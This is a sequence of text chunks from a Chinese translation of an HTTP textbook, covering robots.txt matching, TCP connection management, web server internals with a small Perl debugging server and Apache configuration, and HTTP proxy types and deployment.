    {"text": "1. User-Agent 行 每个机器人记录都以一个或多个下列形式的 User-Agent 行开始： User-Agent: <robot-name> 或 232 User-Agent: * 在机器人 HTTP GET 请求的 User-Agent 首部中发送（由机器人实现者选择的）机 器人名。"},
    {"text": "例如，Disallow: /tmp 就和下面所有的 URL 相匹配： http://www.joes-hardware.com/tmp http://www.joes-hardware.com/tmp/ http://www.joes-hardware.com/tmp/pliers.html http://www.joes-hardware.com/tmpspc/stuff.txt 3. Disallow/Allow 前缀匹配 下面是 Disallow/Allow 前缀匹配的一些细节。"},
    {"text": "注 释 /tmp /tmp √ 规则路径 == URL 路径 /tmp /tmpfile.html √ 规则路径是 URL 路径的前缀 /tmp /tmp/a.html √ 规则路径是 URL 路径的前缀 /tmp/ /tmp × /tmp/ 不是 /tmp 的前缀 README.TXT √ 空的规则路径匹配于所有的路径 /~fred/hi.html /%7Efred/hi.html √ 将 %7E 与 ~ 同等对待 /%7Efred/hi.html /~fred/hi.html √ 将 %7E 与 ~ 同等对待 /%7efred/hi.html /%7Efred/hi.html √ 转义符是大小写无关的 /~fred/hi.html ~fred%2Fhi.html × %2F 是一个斜杠，但斜杠是种特殊 情况，必须完全匹配 前缀匹配通常都能很好地工作，但有几种情况下它的表达力却不够强。"},
    {"text": "重置 输入 输出 输出 输入 客户端 服务器 图 4-21 将数据传送到已关闭连接时会产生“连接被对端重置”错误 比如你已经在一条持久连接上发送了 10 条管道式请求了，响应也已经收到了，正 在操作系统的缓冲区中存着呢（但应用程序还未将其读走）。"},
    {"text": "现在，假设你发送了 第 11 条请求，但服务器认为你使用这条连接的时间已经够长了，决定将其关闭。 那 么你的第 11 条请求就会被发送到一条已关闭的连接上去，并会向你回送一条重置信 息。"},
    {"text": "103 连接管理 ｜ 109 当你最终要去读取数据的时候，会得到一个连接被对端重置的错误，已缓存的未读 响应数据都丢失了，尽管其中的大部分都已经成功抵达你的机器了。"},
    {"text": "因此，想要正常 关闭连接的应用程序应该先半关闭其输出信道，然后周期性地检查其输入信道的状 态（查找数据，或流的末尾）。 如果在一定的时间区间内对端没有关闭输入信道，应 用程序可以强制关闭连接，以节省资源。"},
    {"text": "• http://www.ics.uci.edu/pub/ietf/http/draft-ietf-http-connection-00.txt 这个过期的因特网草案“HTTP Connection Management”，（“HTTP 连接管理”） 探讨了 HTTP 连接管理面临的问题。"},
    {"text": "4.8.2 HTTP性能问题 • http://www.w3.org/Protocols/HTTP/Performance/ 110 ｜ 第 4 章 这个名为“HTTP Performance Overview”（“HTTP 性能概览”）的 W3C Web 页 面包含了几篇与 HTTP 性能和连接管理有关的文章和一些工具。 • http://www.w3.org/Protocols/HTTP/1.0/HTTPPerformance.html 这个由 Simon Spero 制作的简短备忘录“Analysis of HTTP Performance Proble- ms”(“HTTP 性能问题分析”) 是最早（1994 年）对 HTTP 连接性能进行评估的 文献之一。"},
    {"text": "• ftp://gatekeeper.dec.com/pub/DEC/WRL/research-reports/WRL-TR-95.4.pdf “The Case for Persistent-Connection HTTP.”（“持久连接 HTTP 的实例。"},
    {"text": "”） • http://www.isi.edu/lsam/publications/phttp_tcp_interactions/paper.html “Performance Interactions Between P-HTTP and TCP”Implementations（“P-HTTP 和 TCP 实现之间的性能交互”）。"},
    {"text": "• http://www.sun.com/sun-on-net/performance/tcp.slowstart.html “TCP Slow Start Tuning for Solaris”（“Solaris 的 TCP 慢启动调试”）是 Sun 微系 统公司的一个 Web 页面，介绍了 TCP 慢启动带来的一些实际的影响。"},
    {"text": "4.8.3 TCP/IP 下面三本 W. Richard Stevens 的书都非常棒，详细介绍了 TCP/IP 的工程问题。 对使 用 TCP 的人来说尤其有用： • TCP Illustrated, Volume 1: The Protocols 20（《TCP 详解，卷 1：协议》） W. Richard Stevens，Addison Wesley 公司出版。 • UNIX Network Programming, Volume 1: Networking APIs 21（《UNIX 网 络 编 程， 卷 1：套接字联网 API（第 3 版）》） W. Richard Stevens，Prentice-Hall 公司出版。 • UNIX Network Programming, Volume 2: The Implementation 22（《UNIX 网络编程， 卷 2：进程间通信（第 2 版）》） W. Richard Stevens，Prentice-Hall 公司出版。"},
    {"text": "• http://www.acm.org/sigcomm/ccr/archive/2001/jan01/ccr-200101-mogul.pdf 在“Rethinking the TCP Nagle Algorithm”（“对 TCP Nagle 算法的反思”）一文 中，Jeff Mogul 和 Greg Minshall 提出了 Nagle 算法的一种现代视角，概括了哪 些应用程序应该，哪些不应该使用这个算法，并提出了几条改进意见。"},
    {"text": "• http://www.ietf.org/rfc/rfc2001.txt RFC 2001，“TCP Slow Start, Congestion Avoidance, Fast Retransmit, and Fast Recovery Algorithms”（“TCP 慢启动、避免拥塞、快速重传以及快速恢复算法”） 定义了 TCP 慢启动算法。"},
    {"text": "• http://www.ietf.org/rfc/rfc1122.txt RFC 1122，“Requirements for Internet Hosts—Communication Layers”（“对因特 网主机的要求——通信层”）讨论了 TCP 确认和延迟确认。"},
    {"text": "• http://www.ietf.org/rfc/rfc896.txt RFC 896，“Congestion Control in IP/TCP Internetworks”（“IP/TCP 网络间的拥塞 控制”）是 John Nagle 于 1984 年发布的。"},
    {"text": "• http://www.ietf.org/rfc/rfc0813.txt RFC 813，“Window and Acknowledgement Strategy in TCP”（“TCP 中的窗口和 确认机制”）是一个早些年（1982 年）制定的规范，它描述了 TCP 窗口和确认的 实现机制，解释了延迟确认技术的早期技术。"},
    {"text": "• http://www.ietf.org/rfc/rfc0793.txt RFC 793，“Transmission Control Protocol”（“传输控制协议”），是 Jon Postel 于 106 1981 年给出的 TCP 协议经典定义。"},
    {"text": "但不管功能有何差异，所有 的 Web 服务器都能够接收请求资源的 HTTP 请求，将内容回送给客户端（参见 图 1-5）。 5.1.1 Web服务器的实现 Web 服务器实现了 HTTP 和相关的 TCP 连接处理。"},
    {"text": "负责管理 Web 服务器提供的资 源，以及对 Web 服务器的配置、控制及扩展方面的管理。 Web 服务器逻辑实现了 HTTP 协议、管理着 Web 资源，并负责提供 Web 服务器的 109 管理功能。 Web 服务器逻辑和操作系统共同负责管理 TCP 连接。"},
    {"text": "底层操作系统负责 管理底层计算机系统的硬件细节，并提供了 TCP/IP 网络支持、负责装载 Web 资源 的文件系统以及控制当前计算活动的进程管理功能。"},
    {"text": "• 随着微处理器奇迹般地出现，有些公司甚至可以在少量计算机芯片上实现嵌入式 Web 服务器，使其成为完美的（便携式）消费类设备管理控制台。"},
    {"text": "5.1.4 嵌入式Web服务器 嵌入式服务器（embeded server）是要嵌入到消费类产品（比如打印机或家用设备） 中去的小型 Web 服务器。 嵌入式 Web 服务器允许用户通过便捷的 Web 浏览器接口 来管理其消费者设备。"},
    {"text": "有些嵌入式 Web 服务器甚至可以在小于一平方英寸的空间内实现，但通常只能提供 最小特性功能集。 下面是两种非常小的嵌入式 Web 服务器实例： • IPic 火柴头大小的 Web 服务器（http://www-ccs.cs.umass.edu/~shri/iPic.html）；"},
    {"text": "只要 type-o-serve 收到了请求报文，就会将报文打印在屏 幕上，然后等待用户输入（或粘贴）一条响应报文，并将其回送给客户端。 通过这 种方式，type-o-serve 假扮成一台 Web 服务器，记录下确切的 HTTP 请求报文，并 允许用户回送任意的 HTTP 响应报文。 这个简单的 type-o-serve 实用程序并没有实现大部分的 HTTP 功能，但它是一种很 有用的工具，产生服务器响应报文的方式与 Telnet 产生客户端请求报文的方式相同 （参见例 5-1）。 可以从 http://www.http-guide.com/tools/type-o-serve.pl 上下载 type-o-serve 程序。 118 ｜ 第 5 章 例 5-1 type-o-serve——用于 HTTP 调试的最小型 Perl Web 服务器 #!/usr/bin/perl use Socket; use Carp; use FileHandle; # (1) use port 8080 by default, unless overridden on command line $port = (@ARGV ? $ARGV[0] : 8080); # (2) create local TCP socket and set it to listen for connections $proto = getprotobyname('tcp'); socket(S, PF_INET, SOCK_STREAM, $proto) || die; setsockopt(S, SOL_SOCKET, SO_REUSEADDR, pack(\"l\", 1)) || die; bind(S, sockaddr_in($port, INADDR_ANY)) || die; listen(S, SOMAXCONN) || die; # (3) print a startup message printf(\" <<<Type-O-Serve Accepting on Port %d>>>\\n\\n\",$port); while (1) { # (4) wait for a connection C $cport_caddr = accept(C, S); ($cport,$caddr) = sockaddr_in($cport_caddr); C->autoflush(1); # (5) print who the connection is from $cname = gethostbyaddr($caddr,AF_INET); printf(\" <<<Request From '%s'>>>\\n\",$cname); # (6) read request msg until blank line, and print on screen while ($line = <C>) { print $line; if ($line =~ /^\\r/) { last; } } 112 # (7) prompt for response message, and input response lines, # sending response lines to client, until solitary \".\" printf(\" <<<Type Response Followed by '.'>>>\\n\"); while ($line = <STDIN>) { $line =~ s/\\r//; $line =~ s/\\n//; if ($line =~ /^\\./) { last; } print C $line . \"\\r\\n\"; } close(C); } Web服务器 ｜ 119 图 5-2 显示了 Joe 的五金商店的管理员是如何用 type-o-serve 来测试 HTTP 通信的。"},
    {"text": "由于 Joe 的五金商店已经有一个产品化的 Web 服务器在监听 80 端口了，所以管理员 用下面这条命令在端口 8080（可以选择任意未用端口）上启动了 type-o-serve 服务： % type-o-serve.pl 8080 • 只要 type-o-serve 开始运行了，就可以将浏览器指向这个 Web 服务器。"},
    {"text": "HTTP请求报文 GET /foo/bar/blah.txt HTTP/1.1 Accept: */* Accept-language: en-us Accept-encoding: gzip, deflate User-agent: Mozilla/4.0 Host: www.joes.hardware.com:8080 Connection: Keep-alive type-o-serve对话 % ./type-o-serve.pl 8080 <<<Type-O-Serve Accepting on Port 8080>>> <<<Request From 'home-44-027.extranet.inktomi.com'>>> GET /foo/bar/blah.txt HTTP/1.1 Accept: */* Accept-language: en-us Accept-encoding: gzip, deflate User-agent: Mozilla/4.0 Host: www.joes-hardware.com:8080 Connection: Keep-alive <<<Type response followed by '.'>>> HTTP/1.0 200 OK Connection: close HTTP响应报文 Content-type: text-plain HTTP/1.0 200 OK Hi there! Connection: close Content-type: text/plain Hi there! 图 5-2 type-o-serve 实用程序让用户输入服务器响应，将其回送给客户端 5.3 实际的Web服务器会做些什么 例 5-1 显示的 Perl 服务器是一个 Web 服务器的小例子。"},
    {"text": "113 用户空间 HTTP服务器软件进程 （3）处理请求 （5）构建响应 （2）接收请求 （4）访问资源 （7）记录事 TCP/IP 务处理过程 网络协 议栈 （1）建立连接 网络接口 对象存储 （6）发送响应 客户端 操作系统 图 5-3 基本 Web 服务器请求的步骤 114 接下来的 7 个小节重点说明了 Web 服务器是怎样实现这些基本任务的。"},
    {"text": "否则，客户端需要打开一条新的到服务器的连接（回顾第 4 章，复习一下 HTTP 的连接管理技术）。 5.4.1 处理新连接 客户端请求一条到 Web 服务器的 TCP 连接时，Web 服务器会建立连接，判断连接 的另一端是哪个客户端，从 TCP 连接中将 IP 地址解析出来。 1 一旦新连接建立起来 Web服务器 ｜ 121 并被接受，服务器就会将新连接添加到其现存 Web 服务器连接列表中，做好监视连 接上数据传输的准备。"},
    {"text": "例 5-2 配置 Apache，为 HTML 和 CGI 资源查找主机名 HostnameLookups off <Files ~ \"\\.(html|htm|cgi)$\"> HostnameLookups on </Files> 5.4.3 通过ident确定客户端用户 有些 Web 服务器还支持 IETF 的 ident 协议。"},
    {"text": "然后，服 务器打开自己到客户端 ident 服务器端口（113）的连接，发送一条简单的请求，询 问与（由客户端和服务器端口号指定的）新连接相对应的用户名，并从客户端解析 出包含用户名的响应。"},
    {"text": "注 2： 这个通用日志格式的 ident 字段被称为“rfc931”，这是根据定义 ident 协议的过时 RFC 版本（更新过 的 ident 规范记录在 RFC1413 中）命名的。"},
    {"text": "122 ｜ 第 5 章 （a）Mary建立了一条新的HTTP连接 端口4236 HT TP connection 端口80 4236,80 （c）服务器发送请求 （b）服务器建立ident连接 Mary 端口80 Web服务器 ident connection 端口113 4236,80:USERID:UNIX:mary （d）客户端返回ident响应 图 5-4 使用 ident 协议来确定 HTTP 的客户端用户名 ident 在组织内部可以很好地工作，但出于多种原因，在公共因特网上并不能很好地 工作，原因包括： • 很多客户端 PC 没有运行 ident 识别协议守护进程软件；"},
    {"text": "116 解析请求报文时，Web 服务器会： • 解析请求行，查找请求方法、指定的资源标识符（URI）以及版本号，3 各项之 间由一个空格分隔，并以一个回车换行（CRLF）序列作为行的结束；"},
    {"text": "从网络中读取的请求报文 GET /specials/saw-blade.gif HTTP/1.0 CRLF Accept: image/gif CRLF Host: www.j 因特网 LF CR LF CR moc.erawdrah-se o 客户端 服务器 图 5-5 从连接中读取请求报文 解析请求报文时，Web 服务器会不定期地从网络上接收输入数据。"},
    {"text": "比如， 数据结构中可能包含有指向请求报文中各个片段的指针及其长度，这样就可以将这些 首部存放在一个快速查询表中，以便快速访问特定首部的具体值了（参见图 5-6）。"},
    {"text": "请求报文 GET /specials/saw-blade.gif HTTP/1.0 CRLF Accept: image/gif CRLF Host: www.joes-hardware.com CRLF CRLF 解析 请求报文解析后的编码 method: 1 specials/saw-blade.gif version: 1.0 uri: www.joes-hardware.com header count: 2 headers: image/gif body: - name: Host value: name: Accept value: 图 5-6 将请求报文解析为便捷的内部表示形式 124 ｜ 第 5 章 5.5.2 连接的输入/输出处理结构 高性能的 Web 服务器能够同时支持数千条连接。"},
    {"text": "某些连接可 能在快速地向 Web 服务器发送请求，而其他一些连接则可能在慢慢发送，或者不经 117 常发送请求，还有一些可能是空闲的，安静地等待着将来可能出现的动作。"},
    {"text": "6 有些服务器会为每条连接 分配一个线程 / 进程，但当服务器同时要处理成百、上千，甚至数以万计的连接 时，需要的进程或线程数量可能会消耗太多的内存或系统资源。"},
    {"text": "线程是一种更快、更高效的进程版本。 单个程序可 以通过线程和进程同时处理多件事情。 为了便于解释，我们将线程和进程当作是可以互换的概念。 但 由于性能的不同，很多高性能服务器既是多进程的，又是多线程的。"},
    {"text": "Web服务器 ｜ 125 连接列表 连接 线程/进程 （a）单线程I/O结构 （b）多线程I/O结构 连接 复用器 （c）复用的I/O结构 （d）复用的多线程I/O结构 119 图 5-7 Web 服务器输入 / 输出结构 5.6 第三步——处理请求 一旦 Web 服务器收到了请求，就可以根据方法、资源、首部和可选的主体部分来对 请求进行处理了。"},
    {"text": "有些方法（比如 POST）要求请求报文中必须带有实体主体部分的数据。 其他一 些方法（比如 OPTIONS）允许有请求的主体部分，也允许没有。 少数方法（比如 GET）禁止在请求报文中包含实体的主体数据。"},
    {"text": "5.7.1 docroot Web 服务器支持各种不同类型的资源映射，但最简单的资源映射形式就是用请求 URI 作为名字来访问 Web 服务器文件系统中的文件。"},
    {"text": "Web 服务器会返回文件 /usr/local/httpd/files/ specials/saw-blade.gif。 /usr/local/httpd/files 请求报文 因特网 GET /specials/saw-blade.gif HTTP/1.0 Host: www.joes-hardware.com 对象存储器 客户端 Web服务器 请求URI：/specials/saw-blade.gif 服务器资源：/usr/local/httpd/files/specials/saw-blade.gif 图 5-8 将请求 URI 映射为本地 Web 服务器上的资源 120 在配置文件 httpd.conf 中添加一个 DocumentRoot 行就可以为 Apache Web 服务器 设置文档的根目录了： DocumentRoot /usr/local/httpd/files 服务器要注意，不能让相对 URL 退到 docroot 之外，将文件系统的其余部分暴露出 来。"},
    {"text": "比如，大多数成熟的 Web 服务器都不允许这样的 URI 看到 Joe 的五金商店文档 根目录上一级的文件： http://www.joes-hardware.com/../ 1. 虚拟托管的docroot 虚拟托管的 Web 服务器会在同一台 Web 服务器上提供多个 Web 站点，每个站点在 服务器上都有自己独有的文档根目录。 虚拟托管 Web 服务器会根据 URI 或 Host 首 Web服务器 ｜ 127 部的 IP 地址或主机名来识别要使用的正确文档根目录。"},
    {"text": "请求报文A GET /index.html HTTP/1.0 Host: www.joes-hardware.com 因特网 /docs/joe /docs/mary 客户端 GET /index.html HTTP/1.0 www.joes-hardware.com Host: www.marys-antiques.com www.marys-antiques.com 请求报文B 图 5-9 虚拟托管的请求会使用不同的文档根目录 对 大 多 数 Web 服务器来说，配置虚拟托管的文档根目录是很简单的。"},
    {"text": "对常见的 Apache Web 服务器来说，需要为每个虚拟 Web 站点配置一个 VirtualHost 块，而且 每个虚拟服务器都要包含 DocumentRoot（例 5-3）。 例 5-3 Apache Web 服务器虚拟主机的 docroot 配置 <VirtualHost www.joes-hardware.com> ServerName www.joes-hardware.com 121 DocumentRoot /docs/joe TransferLog /logs/joe.access_log ErrorLog /logs/joe.error_log </VirtualHost> <VirtualHost www.marys-antiques.com> ServerName www.marys-antiques.com DocumentRoot /docs/mary TransferLog /logs/mary.access_log ErrorLog /logs/mary.error_log </VirtualHost> ... 更多与虚拟托管有关的信息可以参考 18.2 节。"},
    {"text": "请求报文A GET /~bob/index.html HTTP/1.0 /home/bob/public_html 因特网 /home/betty/public_html 客户端 www.joes-hardwar e.com GET /~betty/index.html HTTP/1.0 www.marys-antiques.com 请求报文B 图 5-10 不同用户有不同的 docroot 5.7.2 目录列表 Web 服务器可以接收对目录 URL 的请求，其路径可以解析为一个目录，而不是文 件。"},
    {"text": "大多数 Web 服务器都会去查找目录中一个名为 index.html 或 index.htm 的文件来代 表此目录。 如果用户请求的是一个目录的 URL，而且这个目录中有一个名为 index. 122 html（或 index.htm）的文件，服务器就会返回那个文件的内容。"},
    {"text": "在 Apache Web 服务器上，可以用配置指令 DirectoryIndex 来配置要作为默认目 录文件使用的文件名集合。 指令 DirectoryIndex 会按照优先顺序列出所有可以 作为目录索引文件使用的文件名。 下列配置行会使 Apache 在收到一个目录 URL 请 求时，在目录中搜索命令中列出来的任意一个文件： DirectoryIndex index.html index.htm home.html home.htm index.cgi 如果用户请求目录 URI 时，没有提供默认的索引文件，而且没有禁止使用目录索 引，很多 Web 服务器都会自动返回一个 HTML 文件，此文件中会列出那个目录里 Web服务器 ｜ 129 的文件名，以及每个文件的大小和修改日期，还包括到每个文件的 URI 链接。"},
    {"text": "可以通过以下 Apache 指令禁止自动生成目录索引文件： Options -Indexes 5.7.3 动态内容资源的映射 Web 服务器还可以将 URI 映射为动态资源——也就是说，映射到按需动态生成内容 的程序上去（参见图 5-11）。"},
    {"text": "Web 服务器要能够分辨出资源 什么时候是动态的，动态内容生成程序位于何处，以及如何运行那个程序。 大多数 Web 服务器都提供了一些基本的机制以识别和映射动态资源。"},
    {"text": "文件系统 资源 图片文件 文本文件 因特网 网络摄像机网关 客户端 服务器 股票交易网关 房产搜索网关 11000101101 电子商务网关 图 5-11 Web 服务器可以提供静态资源和动态资源 Apache 允许用户将 URI 路径名组件映射为可执行文件目录。"},
    {"text": "例 如，下列 Apache 配置指令就表明所有路径以 /cgi-bin/ 开头的 URI 都应该执行在目 录 /usr/local/etc/httpd/cgi-programs/ 中找到的相应文件： 130 ｜ 第 5 章 ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-programs/ Apache 还允许用户用一个特殊的文件扩展名来标识可执行文件。"},
    {"text": "下面的 Apache 配置指令说明要执行所有以 .cgi 结尾的 Web 资源： AddHandler cgi-script .cgi CGI 是早期出现的一种简单、流行的服务端应用程序执行接口。"},
    {"text": "5.7.5 访问控制 Web 服务器还可以为特定资源进行访问控制。 有请求到达，要访问受控资源时， Web 服务器可以根据客户端的 IP 地址进行访问控制，也可以要求输入密码来访问 资源。"},
    {"text": "• MIME 类型（mime.types） Web 服务器可以用文件的扩展名来说明 MIME 类型。 Web 服务器会为每个资源 扫描一个包含了所有扩展名的 MIME 类型的文件，以确定其 MIME 类型。"},
    {"text": "HTTP请求报文中包含命令和URI saw-blade.gif文件 GET /specials/saw-blade.gif HTTP/1.0 Host: www.joes-hardware.com 因特网 客户端 HTTP/1.0 200 OK www.joes-hardware.com Content-type: image/gif Content-length: 8572 服务器的MIME类型表 application/msword doc application/postscript ai eps ps application/powerpoint ppt audio/mpeg mpga mp2 image/gif gif image/jpeg jpeg jpg jpe image/tiff tiff tif text/html html htm text/plain txt video/mpeg mpeg mpg mpe video/quicktime qt mov video/x-msvideo avi x-word/x-vrml wrl vrml 125 图 5-12 Web 服务器用 MIME 类型文件来设置资源输出的 Content-type 首部 • 魔法分类（Magic typing） Apache Web 服务器可以扫描每个资源的内容，并将其与一个已知模式表（被称 为魔法文件）进行匹配，以决定每个文件的 MIME 类型。"},
    {"text": "132 ｜ 第 5 章 • 类型协商 有些 Web 服务器经过配置，可以以多种文档格式来存储资源。 在这种情况下， 可以配置 Web 服务器，使其可以通过与用户的协商来决定使用哪种格式（及相 关的 MIME 类型）“最好”。"},
    {"text": "• URL 增强 服务器通常用重定向来重写 URL，往往用于嵌入上下文。 当请求到达时，服务 器会生成一个新的包含了嵌入式状态信息的 URL，并将用户重定向到这个新的 URL 上去。 7 客户端会跟随这个重定向信息，重新发起请求，但这次的请求会包 含完整的、经过状态增强的 URL。"},
    {"text": "Web服务器 ｜ 133 • 规范目录名称 客户端请求的 URI 是一个不带尾部斜线的目录名时，大多数 Web 服务器都会将 客户端重定向到一个加了斜线的 URI 上，这样相对链接就可以正常工作了。"},
    {"text": "服务器可能有很 多条到各个客户端的连接，有些是空闲的，有些在向服务器发送数据，还有一些在 向客户端回送响应数据。 服务器要记录连接的状态，还要特别注意对持久连接的处理。"},
    {"text": "对持久连接来说，连接可能仍保持打开状态，在这种情况下，服务器要特别小心， 要正确地计算 Content-Length 首部，不然客户端就无法知道响应什么时候结束了 （参见第 4 章）。"},
    {"text": "5.11 更多信息 更多有关 Apache、Jigsaw 和 ident 的信息，参见以下参考资源 • Apache:The Definitive Guide 8（《Apache 权威指南》） Ben Laurie 和 Peter Laurie 编写，O’Reilly & Associates 公司出版。"},
    {"text": "（编者注） 134 ｜ 第 5 章 第6章 代 理 135 Web 代理（proxy）服务器是网络的中间实体。 代理位于客户端和服务器之间，扮演 “中间人”的角色，在各端点之间来回传送 HTTP 报文。"},
    {"text": "本章介绍了所有与 HTTP 代理服务器有关的内容，为代理特性提供的特殊支持，以及使用代理服务器时会遇 到的一些棘手的问题。 本章主要内容如下： • 对 HTTP 代理进行解释，将其与 Web 网关进行对比，并说明如何部署代理；"},
    {"text": "• 说明在现实网络中是怎样部署代理以及如何将网络流量导向代理服务器； • 说明如何配置浏览器来使用代理； • 展示 HTTP 的代理请求，说明它们与服务器请求的区别，以及代理是如何微妙地 改变浏览器行为的；"},
    {"text": "如果没有 Web 代理， HTTP 客户端就要直接与 HTTP 服务器进行对话。 有了 Web 代理，客户端就可以与 代理进行对话，然后由代理代表客户端与服务器进行交流。"},
    {"text": "HTTP 的代理服务器既是 Web 服务器又是 Web 客户端。 HTTP 客户端会向代理发送 请求报文，代理服务器必须像 Web 服务器一样，正确地处理请求和连接，然后返回 响应。 同时，代理自身要向服务器发送请求，这样，其行为就必须像正确的 HTTP 客户端一样，要发送请求并接收响应（参见图 6-1）。 如果要创建自己的 HTTP 代 理，就要认真地遵循为 HTTP 客户端和 HTTP 服务器制定的规则。"},
    {"text": "有些浏览器辅助产品，以及一些 ISP 服务，会在用户的 PC 上直接运行 一些小型的代理，以便扩展浏览器特性，提高性能，或为免费 ISP 服务提供主机 广告。"},
    {"text": "对Web客户端来说，代理扮演 的是服务器的角色，接收请求 报文，返回响应报文。 对Web服务器来说，代理扮演的是客户端的角色， 发送Web请求报文，接收Web响应报文。 请求 请求 响应 响应 代理 客户端 服务器 图 6-1 代理既是服务器，又是客户端 6.1.2 代理与网关的对比 严格来说，代理连接的是两个或多个使用相同协议的应用程序，而网关连接的则是 两个或多个使用不同协议的端点。 网关扮演的是“协议转换器”的角色，即使客户 端和服务器使用的是不同的协议，客户端也可以通过它完成与服务器之间的事务 处理。"},
    {"text": "• 图 6-2a 中的中间设备是一个 HTTP 代理，因为代理与客户端和服务器之间使用 的都是 HTTP 协议。 • 图 6-2b 中的中间设备是一个 HTTP/POP 网关，因为它把 HTTP 的前台与 POP E-mail 的后端连接了起来。"},
    {"text": "网关将 Web 事务转换成适当的 POP 事务，这样用户 就可以通过 HTTP 读取 E-mail 了。 基于 Web 的 E-mail 程序，比如 Yahoo! 邮件 和 MSN Hotmail 都是 HTTP E-mail 网关。 代 理 ｜ 137 (a)HTTP/HTTP 代理 HTTP HTTP Web代理 浏览器 Web服务器 (b)HTTP/POP网关 HTTP POP 浏览器 Web/E-mail网关 E-mail服务器 图 6-2 代理使用同一种协议，网关则将不同的协议连接起来 实际上，代理和网关之间的区别很模糊。 由于浏览器和服务器实现的是不同版本的 HTTP，代理也经常要做一些协议转换工作。 而商业化的代理服务器也会实现网关 的功能来支持 SSL 安全协议、SOCKS 防火墙、FTP 访问，以及基于 Web 的应用程 序。"},
    {"text": "在集中式代理服务器上可以对所有访问控制功能进行配置，而无需在众多由 不 同 组 织 管 理、 不 同 厂 商 制 造、 使 用 不 同 模 式 的 Web 服 务 器 上 进 行 经 常 性 注 1： 有些公司和非营利性组织提供了过滤软件，维护了一些“黑名单”，以识别并限制对危害性内容的访问。"},
    {"text": "2 OK 儿童用户 服务器 因特网 DENY 儿童用户 服务器 学校的过滤代理 图 6-3 代理应用程序实例：儿童安全的因特网过滤器 在图 6-4 中，集中式访问控制代理： 允许客户端 1 无限制地访问服务器 A 的新闻页面；"},
    {"text": "一般 一般 的新闻 的新闻 客户端1 访问控 制代理 服务器A 连接到因特网 因特网 客户端2 局域网 保密 的财 务数据 想要发往服 客户端3 务器B的请求 服务器B 被阻止了 访问这些财务数 据的密码是什么？"},
    {"text": "图 6-4 代理应用程序实例：集中式文档访问控制 注 2： 为防止一些经验丰富的用户蓄意绕过控制代理，可以静态地配置 Web 服务器，使其仅接受来自代理 服务器的请求。"},
    {"text": "客户端 服务器 因特网 客户端 过滤路由器 过滤路由器 服务器 防火墙代理 病毒 客户端 防火墙 防火墙 服务器 图 6-5 代理应用程序实例：安全防火墙 • Web 缓存 代理缓存维护了常用文档的本地副本，并将它们按需提供，以减少缓慢且昂贵的 因特网通信。"},
    {"text": "这 些 被 称 为 替 代 物（surrogate） 或 反 向 代 理（re- verse proxy）的代理接收发给 Web 服务器的真实请求，但与 Web 服务器不同的 是，它们可以发起与其他服务器的通信，以便按需定位所请求的内容。"},
    {"text": "140 ｜ 第 6 章 客户端3 客户端1 客户端4 Web代理缓存 客户端2 原始 服务器 图 6-6 代理应用程序实例：Web 缓存 因特网 替代物 客户端 (也称为反向代理 服务器 或服务器加速器) 图 6-7 代理应用程序实例：（服务器加速器实现方式中的）替代物 • 内容路由器 代理服务器可以作为“内容路由器”使用，根据因特网流量状况以及内容类型将 请求导向特定的 Web 服务器。"},
    {"text": "内容路由器也可以用来实现各种服务级的请求。 比如，如果用户或内容提供者付 费要求提供更高的性能，内容路由器可以将请求转发到附近的复制缓存（参见图 134 6-8），或者如果用户申请了过滤服务，还可以通过过滤代理来转发 HTTP 请求。 可以用自适应内容路由代理来构建很多有趣的服务。"},
    {"text": "内容路由器将Luis导向复制缓存以获取A的页面， 但B的页面仍从原始服务器上获取。 内容路由器 R1 Luis Sharon 内容 服务器B 路由器 Web代理缓存 R2 Rob Sharon为性能付了费，因此内容 路由器会将其发送到附近的缓 服务器A 存上去。"},
    {"text": "图 6-8 代理应用程序实例：内容路由器 图 6-9 显示了一个转码代理，这个代理可以将英语文本转换成西班牙语文本，将 135 HTML 页面重新格式化为较简单的文本，以便显示在手机的小屏幕上。"},
    {"text": "• 匿名者 匿名者代理会主动从 HTTP 报文中删除身份特性（比如客户端 IP 地址、From 首 部、Referer 首部、cookie、URI 的会话 ID），从而提供高度的私密性和匿 名性。"},
    {"text": "4 注 3： 有些人会对“转码”和“翻译”进行区分，将转码定义为对数据编码进行的相对简单的转换（比如无 损压缩） ，将翻译定义为更重要的、对数据的重新格式化或语义转换。"},
    {"text": "142 ｜ 第 6 章 Playeras de Verano Obtendra muchas sonrisas y guiñios cuando use nuestras playeras de verano. Summer Beach Shirts Blanco You’ll get lots of smiles 使用西班牙 Negro and winks when you wear Naranja amanecer our summer beach shirts. 语的客户端 White Summer Beach Shirts Black You ’ll get lots of smiles Sunrise orange and winks when you wear 原始服务器 our. summer beach shirts. 1) White 转码代理 2) Black 能上网 3) Sunrise orange 的手机 图 6-9 代理应用程序实例：内容转码器 在图 6-10 中，匿名代理会对用户报文进行下列修改以增加私密性。"},
    {"text": "从 User-Agent 首部删除用户的计算机与 OS 类型。 删除 From 首部以保护用户的 E-mail 地址。 删除 Referer 首部来掩盖用户访问过的其他站点。 删除 Cookie 首部以剔除概要信息和身份的数据。"},
    {"text": "GET /something/file.html HTTP/1.0 匿名报文中并不包含 Date: Sun, 01 Oct 2000 23:25:17 GMT User-agent: Mozilla/4.75 (Win98; U) 常见的身份信息首部 From: joe@joes-hardware.com Referer: http://www.irs.gov/tax-audits.html GET /something/file.html HTTP/1.0 Cookie: profile=\"football,lite beer\" Date: Sun, 01 Oct 2000 23:25:17 GMT Cookie: income-bracket=\"30K-45K\" User-agent: Mozilla/4.75 匿名代理 客户端 服务器 图 6-10 代理应用程序实例：匿名者 136 6.3 代理会去往何处 前一小节解释了代理会做些什么。"},
    {"text": "• 出口代理 可以将代理固定在本地网络的出口点，以便控制本地网络与大型因特网之间的流 量。 可以在公司网络中使用出口代理（参见图 6-11a），提供针对公司外部恶意黑 客的防火墙保护，或降低带宽费用，提高因特网流量的性能。"},
    {"text": "• 反向代理 代理通常会被部署在网络边缘，在 Web 服务器之前，作为替代物（也常被称为 反向代理，参见图 6-11c）使用，在那里它们可以处理所有传送给 Web 服务器 的请求，并只在必要时向 Web 服务器请求资源。"},
    {"text": "• 网络交换代理 可以将具有足够处理能力的代理放在网络之间的因特网对等交换点上，通过缓存 137 来减轻因特网节点的拥塞，并对流量进行监视，参见图 6-11d。"},
